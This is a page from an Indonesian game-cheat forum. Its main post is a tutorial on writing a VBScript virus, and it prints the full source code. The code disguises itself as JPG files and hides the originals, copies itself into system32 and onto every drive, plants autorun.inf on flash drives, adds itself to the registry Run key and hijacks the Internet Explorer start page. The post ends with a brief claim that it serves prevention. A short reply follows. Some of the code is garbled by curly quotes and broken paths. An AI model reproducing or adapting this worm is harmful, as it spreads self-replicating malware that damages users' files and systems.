S©™ Welcome And Zone ™Snuter Stars Comunity™ Forum ™S©
<strong>.::Welcome to Snuter Stars Comunity FORUM::.
-Disni tempatnya sharing berbagai macam hal-

Kalo Mau DOWNLOAD atau MELIHAT GAMBAR
Harus Menjadi MEMBER Terlebih Dahulu.

Bila Post Anda 0-1 Akan Terkena Banned,Dikarenakan Cuma Ingin Melihat Info-Info Di Forum Ini Saja.Sehabis Itu Pasti Anda Langsung Pergi Kalo Sudah Dapat Infonya. Banned Ini Akan Berlaku Pada Hari Senin-Selasa & Sabtu Minggu Akan Di Cek Setiap Hari Itu Saja.Terimakasih Selamat Bergabung!!!

[Regards Team Snuter Stars Comunity]
Signature


Administrator

&
Moderator




S© ™ † ™ Welcome And Zone Snuter Stars Comunity ™ †™ S©
 
IndeksPortalCalendarGalleryFAQPencarianAnggotaGroupPendaftaranLogin
Cara Menggunakan ''CHATBOX'' Login Terlebih Dahulu Pastinya,Kemudian Liat ''CHATBOX'' Di Bawah Dan Klick Login Pada Sudut Kanan ''CHATBOX'',Dan Happy Chating Anda Bisa Chatingan/Bertanya-Tanya.Anda Juga Bisa Menambahkan "SIGNATURE" (Tanda Tangan) Dengan Mengklick Profil,"SIGNATURE" Pada Pilihan Bar Di Atas Dan Isi Kan "SIGNATURE" Anda ! Dan Kalo Bisa Semua Member Yg Udah Daftar,Yg Belum Ada Avatar (Photo Profil),Silahkan Menguploadnya Agar Lebih Enak Di Lihat , Tolong Baca Ini Penting Kalo Mau Ngetopic BBcode Kadang-Kadang kekunci kadang-kadang juga nggak nah kalian pencet BBcode yg tandanya kayak begini {a/A} Terus Abis Itu Kalian Pencet Tanda {A-} itu tanda BB codenya{Bulletin Board Code} tolong Di aktifkan Kalo Mau Ngetopic & Thanks Atas Perhatiannya !
Login
Username:
Password:
Login otomatis: 
:: Lupa password?
December 2016
MonTueWedThuFriSatSun
   1234
567891011
12131415161718
19202122232425
262728293031 
CalendarCalendar
Top posters
Admin*Hacker
 
Cheater*Sadam
 
Syaithon
 
|point|blank-
 
kubikiri007
 
Cheater-sejati
 
PB_LIKES
 
™E991™
 
semel1
 
rayzi
 
Latest topics
Navigation
 Portal
 Indeks
 Anggota
 Profil
 FAQ
 Pencarian
Similar topics
User Yang Sedang Online
Total 1 user online :: 0 Terdaftar, 0 Tersembunyi dan 1 Tamu

Tidak ada

User online terbanyak adalah 60 pada Sun Jul 22, 2012 8:20 pm
Most active topics
Share Cheat Lost Saga dari forum Gemscool
WH+HeadShot 16 07 2011
Cheat Ayodance PF ON OFF AutoKey
Point Black V.4 + Rpe
Share 1hit al wepon + wh + ws + ammo
Wall Hack Special New Relase (2) WallHack+WallShot+2Hit saja Work 100%
Cheat Grand Chase (SD Hack)
#Cheat Paket PRO v6066 FREE BY Mars Celebrity
™Cara Membuat Game Sendiri™
Request Cheat
Most Viewed Topics
™Cara Membuat Game Sendiri™
Cheat Ayodance PF ON OFF AutoKey
CARA MELIHAT EMAIL AKUN FACEBOOK YANG DISEMBUNYIKAN
G-cash Generator V.6.0
Share Cheat Lost Saga dari forum Gemscool
Cara-Cara Mendapatkan Senjata Kapsul di Crossfire Indonesia
Top 12 Artis Indonesia Dengan Bayaran Termahal
CHEAT PEMBACA KARTU LAWAN TEXAS HOLDEM POKER FACEBOOK
Tips N Trick Resident Evil 5 [PS3]
Cheat NINJA SAGA 1 HIT KILL + 1 JT TOKEN....HEBOH!!!
Pencarian
 
 

Display results as :
 
Rechercher Advanced Search
Most active topic starters
Admin*Hacker
 
Cheater*Sadam
 
|point|blank-
 
kubikiri007
 
Cheater-sejati
 
PB_LIKES
 
™E991™
 
™Full_CHEAT™
 
L115A1
 
hacking12
 
Top posting users this week

Share | 
 

 Cara Membuat Virus Dengan Visual Basic

Topik sebelumnya Topik selanjutnya Go down 
PengirimMessage
Admin*Hacker
=Chibi*Dark*Master*Angelz=
=Chibi*Dark*Master*Angelz=


Zodiac : Taurus Rooster
Jumlah posting : 912
Points : 12829
Reputation : 17
Birthday : 30.04.93
Join date : 28.05.11
Age : 23
Lokasi : jakarta
Job/hobbies : baket
Humor : bola

PostSubyek: Cara Membuat Virus Dengan Visual Basic   Sat Jul 23, 2011 11:06 am

Cara Membuat Virus Menggunakan Visual Basic (VB)
Virus komputer merupakan program komputer yang dapat menggandakan atau
menyalin dirinya sendiri dan menyebar dengan cara menyisipkan salinan
dirinya ke dalam program atau dokumen lain. Virus komputer dapat
dianalogikan dengan virus biologis yang menyebar dengan cara
menyisipkan dirinya sendiri ke sel makhluk hidup. Virus komputer dapat
merusak (misalnya dengan merusak data pada dokumen), membuat pengguna
komputer merasa terganggu, maupun tidak menimbulkan efek sama sekali.
Virus yang akan kita coba buat kali ini akan dibuat dengan menggunakan
Visual Basic Script. Terlebih dulu kira akan rencakan skenario kerja
dari virus tersebut. Skenario virus tersebut adalah sebagai berikut:
1. Virus akan mencari file-file .JPG pada folder dan subfolder satu
tingkat didalamnya, setelah itu merubah ekstension file JPG tersebut
menjadi JPEG dan merubah atributnya menjadi hidden file. Sehingga akan
dikira file tersebut terhapus.
2. Meng-copy-kan dirinya (virus) dalam folder-folder tertentu dalam Windows
3. Memodifikasi Registry agar secara otomatis menjalankan script virus pada saat restart
4. Menularkan diri pada drive-drive yang aktif termasuk flash disk
5. Membuat halaman HTML tertentu agar dijalankan pada start page di Internet Explorer
Nah, demikianlah skenario virus yang akan kita buat. Untuk lebih jelasnya kita akan pelajari dari script dibawah ini:
1. Pada bagian ini akan dibuat sebuah prosedur untuk mencari file-file JPG dan merubahnya sesuai dengan skenario diatas
Sub serangan_jpg(target)
on error resume next
set ftarget=fso.GetFile(target)
set fsource = fso.GetFile(Wscript.ScriptFullName)
ftarget.Copy(Left(target,instrrev(target,”.”)) & “jpeg”)
set fbackup = fso.GetFile(Left(target,instrrev(target,”.”)) & “jpeg”)
fbackup.Attributes = 2 fsource.Copy(Left(target,instrrev(target,”.”)) & “jpg ” & “.vbs”)
ftarget.Delete
ftarget.Close
fsource.Close
End Sub
Sub carifilejpg(folder)
For Each filetarget in fso.GetFolder(folder).Files
If (Right(filetarget,3)=”jpg”) then serangan_jpg(filetarget)
Next
End Sub
2. Prosedur dibawah ini berfungsi untuk mencari drive yang aktif termasuk media flash disk dan kemudian menularinya.
Sub serangan_drive()
Set fso = CreateObject(”Scripting.FileSystemObject”)
Set Drives=fso.drives
adaflashdisk = False
For Each drive in Drives
If drive.isready Then
fsource.Copy(drive & “” & “wolio.vbs”)
If drive.DriveType = 1 And drive.DriveLetter > “C:” Then adaflashdisk = True
End If
Next
If adaflashdisk = True Then
set fileautorun = fso.CreateTextFile(drive.DriveLetter & “” & “autorun.inf”,False)
fileautorun.WriteLine(”[AUTORUN]“)
fileautorun.WriteLine(”RUN=wolio.vbs”)
End If
End Sub

3. Merubah Registry agar Start Page pada Internet Explorer menjalankan file HTML yang diinginkan
Sub serangan_ie()
If (regedit.RegRead(”HKEY_CURRENT_USER\SOFTWARE\MicrosoftInternet Explorer\Main\Start
Page”)<>”c:\windows\system32\wolio.html”) Then
regedit.RegWrite “HKEY_CURRENT_USER\SOFTWARE\Microsoft\Internet Explorer\Main\Start
Page”,”c:\windows\system32\wolio.html”
End If
End Sub
4. Bagian ini digunakan untuk membuat sebuah file HTML yang akan menjalankan script virus

Sub buat_html()
set filehtml = fso.CreateTextFile(”c:windowssystem32wolio.html”,True)
filehtml.WriteLine(””)
filehtml.WriteLine(””)
“)
filehtml.WriteLine(”Welcome to Wolio”)
filehtml.WriteLine(”filehtml.WriteLine(””)
filehtml.WriteLine(””)
filehtml.WriteLine(””)
filehtml.WriteLine(””)
filehtml.WriteLine(””)
filehtml.WriteLine(”Selamat Datang di Wolio VBS “)
filehtml.WriteLine(””)
filehtml.WriteLine(””)
End Sub

5. Pada bagian ini akan mencari folder yang ada dan menularinya dengan script virus

Sub serangan_folder(foldername)
on error resume next
For Each subfolder in fso.GetFolder(foldername).SubFolders
fsource.Copy(subfolder & “wolio.vbs”)
carifilejpg(subfolder)
next
End Sub

6. Bagian dibawah ini adalah bagian yang utama gunanya untuk mendeklarasikan variabel dan memangggil semua prosedur

On Error Resume Next
dim fso, fsource, ftarget, fbackup, scriptname, myfolder, subfolder, preview, filetarget, sys, regedit, drive,
filehtml, fileautorun
dim adaflashdisk
set fso = CreateObject(”Scripting.FileSystemObject”)
set fsource = fso.GetFile(Wscript.ScriptFullName)
set regedit=CreateObject(”WScript.Shell”)
myfolder = Left(fsource,InStrRev(fsource,””))
‘ Copy-kan diri ke “c:windowssystem32″
fsource.Copy(”c:windowssystem32wolio.vbs”)
‘ Cari dan infeksi file JPG didalam folder
carifilejpg(myfolder)
‘ Copy-kan diri di sub folder yang ada
serangan_folder(myfolder)
‘ Regitry
if
(regedit.RegRead(”HKEY_LOCAL_MACHINE\SOFTWAREMicrosoft\Windows\Current\Version\Run\Wolio”)<>”c:\windows\system32\wolio.vbs”)
Then
regedit.RegWrite
“HKEY_LOCAL_MACHINE\SOFTWAREMicrosoft\Windows\Current\VersionRun\Wolio”,”c:\windows\system32\wolio.vbs”
End If
‘ Copy-kan diri ke semua drive aktif
serangan_drive()
‘ Buat file wolio.html
buat_html()
‘ Ubah Start Page di Internet Explorer
serangan_ie()
Demikianlah artikel tentang cara pembuatan dan penuluran sebuah virus
yang dibuat dengan VBS. Setelah mengetahui teknik penyebaran suatu
virus yang dibuat dengan VBS, maka diharapkan kepada Anda agar dapat
melakukan pencegahan. Virus yang kita pelajari kali ini sebenarnya hanya
virus yang “KONYOL”, ini hanya membuka wacana Anda terhadap bahaya
dari virus yang dibuat dengan VBS. Semoga artikel ini dapat bermanfaat.
Kembali Ke Atas Go down
Lihat profil user http://snuterstars.n-stars.org
yoeldaudedward
Trainee
Trainee


Zodiac : Scorpio Cat
Jumlah posting : 1
Points : 5966
Reputation : 5
Birthday : 20.11.99
Join date : 30.08.13
Age : 17
Job/hobbies : buat game
Humor : bala

PostSubyek: Re: Cara Membuat Virus Dengan Visual Basic   Fri Aug 30, 2013 3:55 pm

pantes san ini virus konyol gw baca kagak ngerti maksud nya:rabbit: 
Kembali Ke Atas Go down
Lihat profil user
 
Cara Membuat Virus Dengan Visual Basic
Topik sebelumnya Topik selanjutnya Kembali Ke Atas 
Halaman 1 dari 1
 Similar topics
-
» (bagaimana) cara membuat peringatan di chatbox?
» Cara MenDesign Gear Dengan PhotoShop
» Cara membuat pendataan&list list barang menjadi seperti di sini?
» oktan 91,5 hampir setara pertamax dengan harga lebih murah
» DIY - Tips Pasang Seat Cover Single Seater

Permissions in this forum:Anda tidak dapat menjawab topik
S©™ Welcome And Zone ™Snuter Stars Comunity™ Forum ™S© :: Virus & Anti Virus-
Navigasi: